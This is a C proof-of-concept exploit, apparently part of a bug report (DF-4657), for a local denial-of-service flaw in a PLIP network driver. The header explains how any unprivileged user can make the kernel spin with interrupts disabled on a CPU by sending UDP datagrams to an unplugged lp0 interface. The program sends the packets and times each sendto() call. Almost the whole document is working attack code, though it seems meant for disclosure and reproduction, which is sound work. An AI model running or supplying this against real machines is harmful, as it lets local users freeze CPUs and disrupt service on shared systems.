/*
 * DF-4657 PoC: unprivileged local DoS via if_plip lpoutput/lp_intr
 * port-spinning inside crit_enter() (interrupts disabled).
 *
 * lp0 must be configured UP by an admin (ifconfig lp0 A B up) with the
 * parallel-port cable absent/dead (the normal "unplugged" state).
 * Any local user then sends UDP datagrams to the plip peer; each
 * sendto() returns only after lpoutput() has burned
 *     LPMAXSPIN1 (8000)  + LPMAXSPIN2 (500) * payload_bytes
 * ppb_rstr() bus-method dispatches (ISA port reads) with preemption
 * and interrupts disabled on that CPU.
 *
 * usage: ./plipspin <dst-ip> <npkts> <payload-bytes>
 */
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	const char *dst = argc > 1 ? argv[1] : "10.99.0.2";
	int n = argc > 2 ? atoi(argv[2]) : 5;
	int sz = argc > 3 ? atoi(argv[3]) : 1400;
	struct sockaddr_in sa;
	struct timeval t0, t1;
	char *buf;
	double total = 0, mx = 0;
	int s, i;

	buf = malloc(sz);
	memset(buf, 0x41, sz);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }

	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_port = htons(9999);
	if (inet_pton(AF_INET, dst, &sa.sin_addr) != 1) {
		fprintf(stderr, "bad dst %s\n", dst);
		return 1;
	}

	for (i = 0; i < n; i++) {
		double ms;
		ssize_t r;
		gettimeofday(&t0, NULL);
		r = sendto(s, buf, sz, 0, (struct sockaddr *)&sa, sizeof(sa));
		gettimeofday(&t1, NULL);
		ms = (t1.tv_sec - t0.tv_sec) * 1000.0 +
		     (t1.tv_usec - t0.tv_usec) / 1000.0;
		total += ms;
		if (ms > mx) mx = ms;
		printf("pkt %2d/%d: sendto=%zd errno=%d(%s)  %8.1f ms  (%d byte payload)\n",
		    i + 1, n, r, errno, strerror(errno), ms, sz);
		fflush(stdout);
	}
	printf("RESULT: n=%d size=%d dst=%s TOTAL=%.1f ms AVG=%.1f ms MAX=%.1f ms\n",
	    n, sz, dst, total, total / n, mx);
	return 0;
}
